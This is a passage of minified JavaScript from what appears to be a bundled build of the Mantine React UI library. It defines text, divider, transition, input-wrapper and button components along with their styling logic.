e?MP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,LP=(e,t)=>{for(var r in t||(t={}))$g.call(t,r)&&dd(e,r,t[r]);if(qi)for(var r of qi(t))kg.call(t,r)&&dd(e,r,t[r]);return e},FP=(e,t)=>{var r={};for(var n in e)$g.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&qi)for(var n of qi(e))t.indexOf(n)<0&&kg.call(e,n)&&(r[n]=e[n]);return r};const AP={variant:"text"},bg=$.exports.forwardRef((e,t)=>{const r=he("Text",AP,e),{className:n,size:o,weight:i,transform:l,color:a,align:s,variant:u,lineClamp:p,truncate:m,gradient:d,inline:g,inherit:h,underline:v,strikethrough:x,italic:f,classNames:c,styles:y,unstyled:S,span:k,__staticSelector:b}=r,O=FP(r,["className","size","weight","transform","color","align","variant","lineClamp","truncate","gradient","inline","inherit","underline","strikethrough","italic","classNames","styles","unstyled","span","__staticSelector"]),{classes:N,cx:H}=IP({color:a,lineClamp:p,truncate:m,inline:g,inherit:h,underline:v,strikethrough:x,italic:f,weight:i,transform:l,align:s,gradient:d},{unstyled:S,name:b||"Text",variant:u,size:o});return P(me,{...LP({ref:t,className:H(N.root,{[N.gradient]:u==="gradient"},n),component:k?"span":"div"},O)})});bg.displayName="@mantine/core/Text";const xr=bg,Yo={xs:w(1),sm:w(2),md:w(3),lg:w(4),xl:w(5)};function Qo(e,t){const r=e.fn.variant({variant:"outline",color:t}).border;return typeof t=="string"&&(t in e.colors||t.split(".")[0]in e.colors)?r:t===void 0?e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4]:t}var WP=Se((e,{color:t},{size:r,variant:n})=>({root:{},withLabel:{borderTop:"0 !important"},left:{"&::before":{display:"none"}},right:{"&::after":{display:"none"}},label:{display:"flex",alignItems:"center","&::before":{content:'""',flex:1,height:w(1),borderTop:`${V({size:r,sizes:Yo})} ${n} ${Qo(e,t)}`,marginRight:e.spacing.xs},"&::after":{content:'""',flex:1,borderTop:`${V({size:r,sizes:Yo})} ${n} ${Qo(e,t)}`,marginLeft:e.spacing.xs}},labelDefaultStyles:{color:t==="dark"?e.colors.dark[1]:e.fn.themeColor(t,e.colorScheme==="dark"?5:e.fn.primaryShade(),!1)},horizontal:{border:0,borderTopWidth:w(V({size:r,sizes:Yo})),borderTopColor:Qo(e,t),borderTopStyle:n,margin:0},vertical:{border:0,alignSelf:"stretch",height:"auto",borderLeftWidth:w(V({size:r,sizes:Yo})),borderLeftColor:Qo(e,t),borderLeftStyle:n}}));const VP=WP;var HP=Object.defineProperty,BP=Object.defineProperties,UP=Object.getOwnPropertyDescriptors,el=Object.getOwnPropertySymbols,Eg=Object.prototype.hasOwnProperty,Cg=Object.prototype.propertyIsEnumerable,pd=(e,t,r)=>t in e?HP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,md=(e,t)=>{for(var r in t||(t={}))Eg.call(t,r)&&pd(e,r,t[r]);if(el)for(var r of el(t))Cg.call(t,r)&&pd(e,r,t[r]);return e},GP=(e,t)=>BP(e,UP(t)),YP=(e,t)=>{var r={};for(var n in e)Eg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&el)for(var n of el(e))t.indexOf(n)<0&&Cg.call(e,n)&&(r[n]=e[n]);return r};const QP={orientation:"horizontal",size:"xs",labelPosition:"left",variant:"solid"},Ng=$.exports.forwardRef((e,t)=>{const r=he("Divider",QP,e),{className:n,color:o,orientation:i,size:l,label:a,labelPosition:s,labelProps:u,variant:p,styles:m,classNames:d,unstyled:g}=r,h=YP(r,["className","color","orientation","size","label","labelPosition","labelProps","variant","styles","classNames","unstyled"]),{classes:v,cx:x}=VP({color:o},{classNames:d,styles:m,unstyled:g,name:"Divider",variant:p,size:l}),f=i==="vertical",c=i==="horizontal",y=!!a&&c,S=!(u!=null&&u.color);return P(me,{...md({ref:t,className:x(v.root,{[v.vertical]:f,[v.horizontal]:c,[v.withLabel]:y},n),role:"separator"},h),children:y&&P(xr,{...GP(md({},u),{size:(u==null?void 0:u.size)||"xs",mt:w(2),className:x(v.label,v[s],{[v.labelDefaultStyles]:S})}),children:a})})});Ng.displayName="@mantine/core/Divider";var XP=Object.defineProperty,yd=Object.getOwnPropertySymbols,KP=Object.prototype.hasOwnProperty,ZP=Object.prototype.propertyIsEnumerable,gd=(e,t,r)=>t in e?XP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Lr=(e,t)=>{for(var r in t||(t={}))KP.call(t,r)&&gd(e,r,t[r]);if(yd)for(var r of yd(t))ZP.call(t,r)&&gd(e,r,t[r]);return e};const vd={entering:"in",entered:"in",exiting:"out",exited:"out","pre-exiting":"out","pre-entering":"out"};function JP({transition:e,state:t,duration:r,timingFunction:n}){const o={transitionDuration:`${r}ms`,transitionTimingFunction:n};return typeof e=="string"?e in Uo?Lr(Lr(Lr({transitionProperty:Uo[e].transitionProperty},o),Uo[e].common),Uo[e][vd[t]]):null:Lr(Lr(Lr({transitionProperty:e.transitionProperty},o),e.common),e[vd[t]])}function qP({duration:e,exitDuration:t,timingFunction:r,mounted:n,onEnter:o,onExit:i,onEntered:l,onExited:a}){const s=vr(),u=ug(),p=s.respectReducedMotion?u:!1,[m,d]=$.exports.useState(n?"entered":"exited");let g=p?0:e;const h=$.exports.useRef(-1),v=x=>{const f=x?o:i,c=x?l:a;if(d(x?"pre-entering":"pre-exiting"),window.clearTimeout(h.current),g=p?0:x?e:t,g===0)typeof f=="function"&&f(),typeof c=="function"&&c(),d(x?"entered":"exited");else{const y=window.setTimeout(()=>{typeof f=="function"&&f(),d(x?"entering":"exiting")},10);h.current=window.setTimeout(()=>{window.clearTimeout(y),typeof c=="function"&&c(),d(x?"entered":"exited")},g)}};return SS(()=>{v(n)},[n]),$.exports.useEffect(()=>()=>window.clearTimeout(h.current),[]),{transitionDuration:g,transitionStatus:m,transitionTimingFunction:r||s.transitionTimingFunction}}function Tg({keepMounted:e,transition:t,duration:r=250,exitDuration:n=r,mounted:o,children:i,timingFunction:l,onExit:a,onEntered:s,onEnter:u,onExited:p}){const{transitionDuration:m,transitionStatus:d,transitionTimingFunction:g}=qP({mounted:o,exitDuration:n,duration:r,timingFunction:l,onExit:a,onEntered:s,onEnter:u,onExited:p});return m===0?o?P(Hi,{children:i({})}):e?i({display:"none"}):null:d==="exited"?e?i({display:"none"}):null:P(Hi,{children:i(JP({transition:t,duration:m,state:d,timingFunction:g}))})}Tg.displayName="@mantine/core/Transition";var eO=Se((e,t,{size:r})=>({label:{display:"inline-block",fontSize:V({size:r,sizes:e.fontSizes}),fontWeight:500,color:e.colorScheme==="dark"?e.colors.dark[0]:e.colors.gray[9],wordBreak:"break-word",cursor:"default",WebkitTapHighlightColor:"transparent"},required:{color:e.fn.variant({variant:"filled",color:"red"}).background}}));const tO=eO;var rO=Object.defineProperty,tl=Object.getOwnPropertySymbols,zg=Object.prototype.hasOwnProperty,Rg=Object.prototype.propertyIsEnumerable,hd=(e,t,r)=>t in e?rO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,nO=(e,t)=>{for(var r in t||(t={}))zg.call(t,r)&&hd(e,r,t[r]);if(tl)for(var r of tl(t))Rg.call(t,r)&&hd(e,r,t[r]);return e},oO=(e,t)=>{var r={};for(var n in e)zg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&tl)for(var n of tl(e))t.indexOf(n)<0&&Rg.call(e,n)&&(r[n]=e[n]);return r};const iO={labelElement:"label",size:"sm"},qu=$.exports.forwardRef((e,t)=>{const r=he("InputLabel",iO,e),{labelElement:n,children:o,required:i,size:l,classNames:a,styles:s,unstyled:u,className:p,htmlFor:m,__staticSelector:d,variant:g,onMouseDown:h}=r,v=oO(r,["labelElement","children","required","size","classNames","styles","unstyled","className","htmlFor","__staticSelector","variant","onMouseDown"]),{classes:x,cx:f}=tO(null,{name:["InputWrapper",d],classNames:a,styles:s,unstyled:u,variant:g,size:l});return Z(me,{...nO({component:n,ref:t,className:f(x.label,p),htmlFor:n==="label"?m:void 0,onMouseDown:c=>{h==null||h(c),!c.defaultPrevented&&c.detail>1&&c.preventDefault()}},v),children:[o,i&&P("span",{className:x.required,"aria-hidden":!0,children:" *"})]})});qu.displayName="@mantine/core/InputLabel";var lO=Se((e,t,{size:r})=>({error:{wordBreak:"break-word",color:e.fn.variant({variant:"filled",color:"red"}).background,fontSize:`calc(${V({size:r,sizes:e.fontSizes})} - ${w(2)})`,lineHeight:1.2,display:"block"}}));const aO=lO;var sO=Object.defineProperty,rl=Object.getOwnPropertySymbols,Dg=Object.prototype.hasOwnProperty,jg=Object.prototype.propertyIsEnumerable,wd=(e,t,r)=>t in e?sO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,uO=(e,t)=>{for(var r in t||(t={}))Dg.call(t,r)&&wd(e,r,t[r]);if(rl)for(var r of rl(t))jg.call(t,r)&&wd(e,r,t[r]);return e},cO=(e,t)=>{var r={};for(var n in e)Dg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&rl)for(var n of rl(e))t.indexOf(n)<0&&jg.call(e,n)&&(r[n]=e[n]);return r};const fO={size:"sm"},ec=$.exports.forwardRef((e,t)=>{const r=he("InputError",fO,e),{children:n,className:o,classNames:i,styles:l,unstyled:a,size:s,__staticSelector:u,variant:p}=r,m=cO(r,["children","className","classNames","styles","unstyled","size","__staticSelector","variant"]),{classes:d,cx:g}=aO(null,{name:["InputWrapper",u],classNames:i,styles:l,unstyled:a,variant:p,size:s});return P(xr,{...uO({className:g(d.error,o),ref:t},m),children:n})});ec.displayName="@mantine/core/InputError";var dO=Se((e,t,{size:r})=>({description:{wordBreak:"break-word",color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],fontSize:`calc(${V({size:r,sizes:e.fontSizes})} - ${w(2)})`,lineHeight:1.2,display:"block"}}));const pO=dO;var mO=Object.defineProperty,nl=Object.getOwnPropertySymbols,Ig=Object.prototype.hasOwnProperty,Mg=Object.prototype.propertyIsEnumerable,_d=(e,t,r)=>t in e?mO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,yO=(e,t)=>{for(var r in t||(t={}))Ig.call(t,r)&&_d(e,r,t[r]);if(nl)for(var r of nl(t))Mg.call(t,r)&&_d(e,r,t[r]);return e},gO=(e,t)=>{var r={};for(var n in e)Ig.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&nl)for(var n of nl(e))t.indexOf(n)<0&&Mg.call(e,n)&&(r[n]=e[n]);return r};const vO={size:"sm"},tc=$.exports.forwardRef((e,t)=>{const r=he("InputDescription",vO,e),{children:n,className:o,classNames:i,styles:l,unstyled:a,size:s,__staticSelector:u,variant:p}=r,m=gO(r,["children","className","classNames","styles","unstyled","size","__staticSelector","variant"]),{classes:d,cx:g}=pO(null,{name:["InputWrapper",u],classNames:i,styles:l,unstyled:a,variant:p,size:s});return P(xr,{...yO({color:"dimmed",className:g(d.description,o),ref:t,unstyled:a},m),children:n})});tc.displayName="@mantine/core/InputDescription";const Lg=$.exports.createContext({offsetBottom:!1,offsetTop:!1,describedBy:void 0}),hO=Lg.Provider,wO=()=>$.exports.useContext(Lg);function _O(e,{hasDescription:t,hasError:r}){const n=e.findIndex(s=>s==="input"),o=e[n-1],i=e[n+1];return{offsetBottom:t&&i==="description"||r&&i==="error",offsetTop:t&&o==="description"||r&&o==="error"}}var SO=Object.defineProperty,PO=Object.defineProperties,OO=Object.getOwnPropertyDescriptors,Sd=Object.getOwnPropertySymbols,xO=Object.prototype.hasOwnProperty,$O=Object.prototype.propertyIsEnumerable,Pd=(e,t,r)=>t in e?SO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,kO=(e,t)=>{for(var r in t||(t={}))xO.call(t,r)&&Pd(e,r,t[r]);if(Sd)for(var r of Sd(t))$O.call(t,r)&&Pd(e,r,t[r]);return e},bO=(e,t)=>PO(e,OO(t)),EO=Se(e=>({root:bO(kO({},e.fn.fontStyles()),{lineHeight:e.lineHeight})}));const CO=EO;var NO=Object.defineProperty,TO=Object.defineProperties,zO=Object.getOwnPropertyDescriptors,ol=Object.getOwnPropertySymbols,Fg=Object.prototype.hasOwnProperty,Ag=Object.prototype.propertyIsEnumerable,Od=(e,t,r)=>t in e?NO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Xt=(e,t)=>{for(var r in t||(t={}))Fg.call(t,r)&&Od(e,r,t[r]);if(ol)for(var r of ol(t))Ag.call(t,r)&&Od(e,r,t[r]);return e},xd=(e,t)=>TO(e,zO(t)),RO=(e,t)=>{var r={};for(var n in e)Fg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ol)for(var n of ol(e))t.indexOf(n)<0&&Ag.call(e,n)&&(r[n]=e[n]);return r};const DO={labelElement:"label",size:"sm",inputContainer:e=>e,inputWrapperOrder:["label","description","input","error"]},Wg=$.exports.forwardRef((e,t)=>{const r=he("InputWrapper",DO,e),{className:n,label:o,children:i,required:l,id:a,error:s,description:u,labelElement:p,labelProps:m,descriptionProps:d,errorProps:g,classNames:h,styles:v,size:x,inputContainer:f,__staticSelector:c,unstyled:y,inputWrapperOrder:S,withAsterisk:k,variant:b}=r,O=RO(r,["className","label","children","required","id","error","description","labelElement","labelProps","descriptionProps","errorProps","classNames","styles","size","inputContainer","__staticSelector","unstyled","inputWrapperOrder","withAsterisk","variant"]),{classes:N,cx:H}=CO(null,{classNames:h,styles:v,name:["InputWrapper",c],unstyled:y,variant:b,size:x}),R={classNames:h,styles:v,unstyled:y,size:x,variant:b,__staticSelector:c},I=typeof k=="boolean"?k:l,G=a?`${a}-error`:g==null?void 0:g.id,Y=a?`${a}-description`:d==null?void 0:d.id,re=`${!!s&&typeof s!="boolean"?G:""} ${u?Y:""}`,ze=re.trim().length>0?re.trim():void 0,ne=o&&P(qu,{...Xt(Xt({key:"label",labelElement:p,id:a?`${a}-label`:void 0,htmlFor:a,required:I},R),m),children:o}),T=u&&P(tc,{...xd(Xt(Xt({key:"description"},d),R),{size:(d==null?void 0:d.size)||R.size,id:(d==null?void 0:d.id)||Y}),children:u}),F=P($.exports.Fragment,{children:f(i)},"input"),M=typeof s!="boolean"&&s&&P(ec,{...xd(Xt(Xt({},g),R),{size:(g==null?void 0:g.size)||R.size,key:"error",id:(g==null?void 0:g.id)||G}),children:s}),B=S.map(_=>{switch(_){case"label":return ne;case"input":return F;case"description":return T;case"error":return M;default:return null}});return P(hO,{value:Xt({describedBy:ze},_O(S,{hasDescription:!!T,hasError:!!M})),children:P(me,{...Xt({className:H(N.root,n),ref:t},O),children:B})})});Wg.displayName="@mantine/core/InputWrapper";var jO=Object.defineProperty,il=Object.getOwnPropertySymbols,Vg=Object.prototype.hasOwnProperty,Hg=Object.prototype.propertyIsEnumerable,$d=(e,t,r)=>t in e?jO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,IO=(e,t)=>{for(var r in t||(t={}))Vg.call(t,r)&&$d(e,r,t[r]);if(il)for(var r of il(t))Hg.call(t,r)&&$d(e,r,t[r]);return e},MO=(e,t)=>{var r={};for(var n in e)Vg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&il)for(var n of il(e))t.indexOf(n)<0&&Hg.call(e,n)&&(r[n]=e[n]);return r};const LO={},Bg=$.exports.forwardRef((e,t)=>{const r=he("InputPlaceholder",LO,e),{sx:n}=r,o=MO(r,["sx"]);return P(me,{...IO({component:"span",sx:[i=>i.fn.placeholderStyles(),...Dy(n)],ref:t},o)})});Bg.displayName="@mantine/core/InputPlaceholder";var FO=Object.defineProperty,AO=Object.defineProperties,WO=Object.getOwnPropertyDescriptors,kd=Object.getOwnPropertySymbols,VO=Object.prototype.hasOwnProperty,HO=Object.prototype.propertyIsEnumerable,bd=(e,t,r)=>t in e?FO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Xo=(e,t)=>{for(var r in t||(t={}))VO.call(t,r)&&bd(e,r,t[r]);if(kd)for(var r of kd(t))HO.call(t,r)&&bd(e,r,t[r]);return e},Ma=(e,t)=>AO(e,WO(t));const Be={xs:w(30),sm:w(36),md:w(42),lg:w(50),xl:w(60)},BO=["default","filled","unstyled"];function UO({theme:e,variant:t}){return BO.includes(t)?t==="default"?{border:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4]}`,backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.white,transition:"border-color 100ms ease","&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:t==="filled"?{border:`${w(1)} solid transparent`,backgroundColor:e.colorScheme==="dark"?e.colors.dark[5]:e.colors.gray[1],"&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:{borderWidth:0,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,backgroundColor:"transparent",minHeight:w(28),outline:0,"&:focus, &:focus-within":{outline:"none",borderColor:"transparent"},"&:disabled":{backgroundColor:"transparent","&:focus, &:focus-within":{outline:"none",borderColor:"transparent"}}}:null}var GO=Se((e,{multiline:t,radius:r,invalid:n,rightSectionWidth:o,withRightSection:i,iconWidth:l,offsetBottom:a,offsetTop:s,pointer:u},{variant:p,size:m})=>{const d=e.fn.variant({variant:"filled",color:"red"}).background,g=p==="default"||p==="filled"?{minHeight:V({size:m,sizes:Be}),paddingLeft:`calc(${V({size:m,sizes:Be})} / 3)`,paddingRight:i?o||V({size:m,sizes:Be}):`calc(${V({size:m,sizes:Be})} / 3)`,borderRadius:e.fn.radius(r)}:null;return{wrapper:{position:"relative",marginTop:s?`calc(${e.spacing.xs} / 2)`:void 0,marginBottom:a?`calc(${e.spacing.xs} / 2)`:void 0},input:Ma(Xo(Xo(Ma(Xo({},e.fn.fontStyles()),{height:t?p==="unstyled"?void 0:"auto":V({size:m,sizes:Be}),WebkitTapHighlightColor:"transparent",lineHeight:t?e.lineHeight:`calc(${V({size:m,sizes:Be})} - ${w(2)})`,appearance:"none",resize:"none",boxSizing:"border-box",fontSize:V({size:m,sizes:e.fontSizes}),width:"100%",color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,display:"block",textAlign:"left",cursor:u?"pointer":void 0}),UO({theme:e,variant:p})),g),{"&:disabled, &[data-disabled]":{backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},"&[data-invalid]":{color:d,borderColor:d,"&::placeholder":{opacity:1,color:d}},"&[data-with-icon]":{paddingLeft:typeof l=="number"?w(l):V({size:m,sizes:Be})},"&::placeholder":Ma(Xo({},e.fn.placeholderStyles()),{opacity:1}),"&::-webkit-inner-spin-button, &::-webkit-outer-spin-button, &::-webkit-search-decoration, &::-webkit-search-cancel-button, &::-webkit-search-results-button, &::-webkit-search-results-decoration":{appearance:"none"},"&[type=number]":{MozAppearance:"textfield"}}),icon:{pointerEvents:"none",position:"absolute",zIndex:1,left:0,top:0,bottom:0,display:"flex",alignItems:"center",justifyContent:"center",width:l?w(l):V({size:m,sizes:Be}),color:n?e.colors.red[e.colorScheme==="dark"?6:7]:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[5]},rightSection:{position:"absolute",top:0,bottom:0,right:0,display:"flex",alignItems:"center",justifyContent:"center",width:o||V({size:m,sizes:Be})}}}),YO=Object.defineProperty,QO=Object.defineProperties,XO=Object.getOwnPropertyDescriptors,ll=Object.getOwnPropertySymbols,Ug=Object.prototype.hasOwnProperty,Gg=Object.prototype.propertyIsEnumerable,Ed=(e,t,r)=>t in e?YO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ko=(e,t)=>{for(var r in t||(t={}))Ug.call(t,r)&&Ed(e,r,t[r]);if(ll)for(var r of ll(t))Gg.call(t,r)&&Ed(e,r,t[r]);return e},Cd=(e,t)=>QO(e,XO(t)),KO=(e,t)=>{var r={};for(var n in e)Ug.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ll)for(var n of ll(e))t.indexOf(n)<0&&Gg.call(e,n)&&(r[n]=e[n]);return r};const ZO={size:"sm",variant:"default"},jr=$.exports.forwardRef((e,t)=>{const r=he("Input",ZO,e),{className:n,error:o,required:i,disabled:l,variant:a,icon:s,style:u,rightSectionWidth:p,iconWidth:m,rightSection:d,rightSectionProps:g,radius:h,size:v,wrapperProps:x,classNames:f,styles:c,__staticSelector:y,multiline:S,sx:k,unstyled:b,pointer:O}=r,N=KO(r,["className","error","required","disabled","variant","icon","style","rightSectionWidth","iconWidth","rightSection","rightSectionProps","radius","size","wrapperProps","classNames","styles","__staticSelector","multiline","sx","unstyled","pointer"]),{offsetBottom:H,offsetTop:R,describedBy:I}=wO(),{classes:G,cx:Y}=GO({radius:h,multiline:S,invalid:!!o,rightSectionWidth:p?w(p):void 0,iconWidth:m,withRightSection:!!d,offsetBottom:H,offsetTop:R,pointer:O},{classNames:f,styles:c,name:["Input",y],unstyled:b,variant:a,size:v}),{systemStyles:ce,rest:re}=Ju(N);return Z(me,{...Ko(Ko({className:Y(G.wrapper,n),sx:k,style:u},ce),x),children:[s&&P("div",{className:G.icon,children:s}),P(me,{...Cd(Ko({component:"input"},re),{ref:t,required:i,"aria-invalid":!!o,"aria-describedby":I,disabled:l,"data-disabled":l||void 0,"data-with-icon":!!s||void 0,"data-invalid":!!o||void 0,className:G.input})}),d&&P("div",{...Cd(Ko({},g),{className:G.rightSection}),children:d})]})});jr.displayName="@mantine/core/Input";jr.Wrapper=Wg;jr.Label=qu;jr.Description=tc;jr.Error=ec;jr.Placeholder=Bg;const Vs=jr;var JO=Se((e,{orientation:t,buttonBorderWidth:r})=>({root:{display:"flex",flexDirection:t==="vertical"?"column":"row","& [data-button]":{"&:first-of-type":{borderBottomRightRadius:0,[t==="vertical"?"borderBottomLeftRadius":"borderTopRightRadius"]:0,[t==="vertical"?"borderBottomWidth":"borderRightWidth"]:`calc(${w(r)} / 2)`},"&:last-of-type":{borderTopLeftRadius:0,[t==="vertical"?"borderTopRightRadius":"borderBottomLeftRadius"]:0,[t==="vertical"?"borderTopWidth":"borderLeftWidth"]:`calc(${w(r)} / 2)`},"&:not(:first-of-type):not(:last-of-type)":{borderRadius:0,[t==="vertical"?"borderTopWidth":"borderLeftWidth"]:`calc(${w(r)} / 2)`,[t==="vertical"?"borderBottomWidth":"borderRightWidth"]:`calc(${w(r)} / 2)`},"& + [data-button]":{[t==="vertical"?"marginTop":"marginLeft"]:`calc(${r} * -1)`,"@media (min-resolution: 192dpi)":{[t==="vertical"?"marginTop":"marginLeft"]:0}}}}}));const qO=JO;var ex=Object.defineProperty,al=Object.getOwnPropertySymbols,Yg=Object.prototype.hasOwnProperty,Qg=Object.prototype.propertyIsEnumerable,Nd=(e,t,r)=>t in e?ex(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tx=(e,t)=>{for(var r in t||(t={}))Yg.call(t,r)&&Nd(e,r,t[r]);if(al)for(var r of al(t))Qg.call(t,r)&&Nd(e,r,t[r]);return e},rx=(e,t)=>{var r={};for(var n in e)Yg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&al)for(var n of al(e))t.indexOf(n)<0&&Qg.call(e,n)&&(r[n]=e[n]);return r};const nx={orientation:"horizontal",buttonBorderWidth:1},Xg=$.exports.forwardRef((e,t)=>{const r=he("ButtonGroup",nx,e),{className:n,orientation:o,buttonBorderWidth:i,unstyled:l}=r,a=rx(r,["className","orientation","buttonBorderWidth","unstyled"]),{classes:s,cx:u}=qO({orientation:o,buttonBorderWidth:i},{name:"ButtonGroup",unstyled:l});return P(me,{...tx({className:u(s.root,n),ref:t},a)})});Xg.displayName="@mantine/core/ButtonGroup";var ox=Object.defineProperty,ix=Object.defineProperties,lx=Object.getOwnPropertyDescriptors,Td=Object.getOwnPropertySymbols,ax=Object.prototype.hasOwnProperty,sx=Object.prototype.propertyIsEnumerable,zd=(e,t,r)=>t in e?ox(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,qt=(e,t)=>{for(var r in t||(t={}))ax.call(t,r)&&zd(e,r,t[r]);if(Td)for(var r of Td(t))sx.call(t,r)&&zd(e,r,t[r]);return e},yi=(e,t)=>ix(e,lx(t));const ux=["filled","outline","light","white","default","subtle","gradient"],Hs={xs:{height:Be.xs,paddingLeft:w(14),paddingRight:w(14)},sm:{height:Be.sm,paddingLeft:w(18),paddingRight:w(18)},md:{height:Be.md,paddingLeft:w(22),paddingRight:w(22)},lg:{height:Be.lg,paddingLeft:w(26),paddingRight:w(26)},xl:{height:Be.xl,paddingLeft:w(32),paddingRight:w(32)},"compact-xs":{height:w(22),paddingLeft:w(7),paddingRight:w(7)},"compact-sm":{height:w(26),paddingLeft:w(8),paddingRight:w(8)},"compact-md":{height:w(30),paddingLeft:w(10),paddingRight:w(10)},"compact-lg":{height:w(34),paddingLeft:w(12),paddingRight:w(12)},"compact-xl":{height:w(40),paddingLeft:w(14),paddingRight:w(14)}};function cx({compact:e,size:t,withLeftIcon:r,withRightIcon:n}){if(e)return Hs[`compact-${t}`];const o=Hs[t];return o?yi(qt({},o),{paddingLeft:r?`calc(${o.paddingLeft} / 1.5)`:o.paddingLeft,paddingRight:n?`calc(${o.paddingRight} / 1.5)`:o.paddingRight}):{}}const fx=e=>({display:e?"block":"inline-block",width:e?"100%":"auto"});function dx({variant:e,theme:t,color:r,gradient:n}){if(!ux.includes(e))return null;const o=t.fn.variant({color:r,variant:e,gradient:n});return e==="gradient"?qt({border:0,backgroundImage:o.background,color:o.color},t.fn.hover({backgroundSize:"200%"})):{border:`${w(1)} solid ${o.border}`,backgroundColor:o.background,color:o.color,"&:not([data-disabled])":t.fn.hover({backgroundColor:o.hover})}}var px=Se((e,{radius:t,fullWidth:r,compact:n,withLeftIcon:o,withRightIcon:i,color:l,gradient:a},{variant:s,size:u})=>({root:yi(qt(yi(qt(qt(qt(qt({},cx({compact:n,size:u,withLeftIcon:o,withRightIcon:i})),e.fn.fontStyles()),e.fn.focusStyles()),fx(r)),{borderRadius:e.fn.radius(t),fontWeight:600,position:"relative",lineHeight:1,fontSize:V({size:u,sizes:e.fontSizes}),userSelect:"none",cursor:"pointer"}),dx({variant:s,theme:e,color:l,gradient:a})),{"&:active":e.activeStyles,"&:disabled, &[data-disabled]":{borderColor:"transparent",backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],color:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[5],cursor:"not-allowed",backgroundImage:"none",pointerEvents:"none","&:active":{transform:"none"}},"&[data-loading]":{pointerEvents:"none","&::before":yi(qt({content:'""'},e.fn.cover(w(-1))),{backgroundColor:e.colorScheme==="dark"?e.fn.rgba(e.colors.dark[7],.5):"rgba(255, 255, 255, .5)",borderRadius:e.fn.radius(t),cursor:"not-allowed"})}}),icon:{display:"flex",alignItems:"center"},leftIcon:{marginRight:e.spacing.xs},rightIcon:{marginLeft:e.spacing.xs},centerLoader:{position:"absolute",left:"50%",transform:"translateX(-50%)",opacity:.5},inner:{display:"flex",alignItems:"center",justifyContent:"center",height:"100%",overflow:"visible"},label:{whiteSpace:"nowrap",height:"100%",overflow:"hidden",display:"flex",alignItems:"center"}}));const mx=px;var yx=Object.defineProperty,sl=Object.getOwnPropertySymbols,Kg=Object.prototype.hasOwnProperty,Zg=Object.prototype.propertyIsEnumerable,Rd=(e,t,r)=>t in e?yx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Dd=(e,t)=>{for(var r in t||(t={}))Kg.call(t,r)&&Rd(e,r,t[r]);if(sl)for(var r of sl(t))Zg.call(t,r)&&Rd(e,r,t[r]);return e},gx=(e,t)=>{var r={};for(var n in e)Kg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&sl)for(var n of sl(e))t.indexOf(n)<0&&Zg.call(e,n)&&(r[n]=e[n]);return r};const vx={size:"sm",type:"button",variant:"filled",loaderPosition:"left"},rc=$.exports.forwardRef((e,t)=>{const r=he("Button",vx,e),{className:n,size:o,color:i,type:l,disabled:a,children:s,leftIcon:u,rightIcon:p,fullWidth:m,variant:d,radius:g,uppercase:h,compact:v,loading:x,loaderPosition:f,loaderProps:c,gradient:y,classNames:S,styles:k,unstyled:b}=r,O=gx(r,["className","size","color","type","disabled","children","leftIcon","rightIcon","fullWidth","variant","radius","uppercase","compact","loading","loaderPosition","loaderProps","gradient","classNames","styles","unstyled"]),{classes:N,cx:H,theme:R}=mx({radius:g,color:i,fullWidth:m,compact:v,gradient:y,withLeftIcon:!!u,withRightIcon:!!p},{name:"Button",unstyled:b,classNames:S,styles:k,variant:d,size:o}),I=R.fn.variant({color:i,variant:d}),G=P(xg,{...Dd({color:I.color,size:`calc(${V({size:o,sizes:Hs}).height} / 2)`},c)});return P(aP,{...Dd({className:H(N.root,n),type:l,disabled:a,"data-button":!0,"data-disabled":a||void 0,"data-loading":x||void 0,ref:t,unstyled:b},O),children:Z("div",{className:N.inner,children:[(u||x&&f==="left")&&P("span",{className:H(N.icon,N.leftIcon),children:x&&f==="left"?G:u}),x&&f==="center"&&P("span",{className:N.centerLoader,children:G}),P("span",{className:N.label,style:{textTransform:h?"uppercase":void 0},children:s}),(p||x&&f==="right")&&P("span",{className:H(N.icon,N.rightIcon),children:x&&f==="right"?G:p})]})})});rc.displayName="@mantine/core/Button";rc.Group=Xg;const jd=rc;var 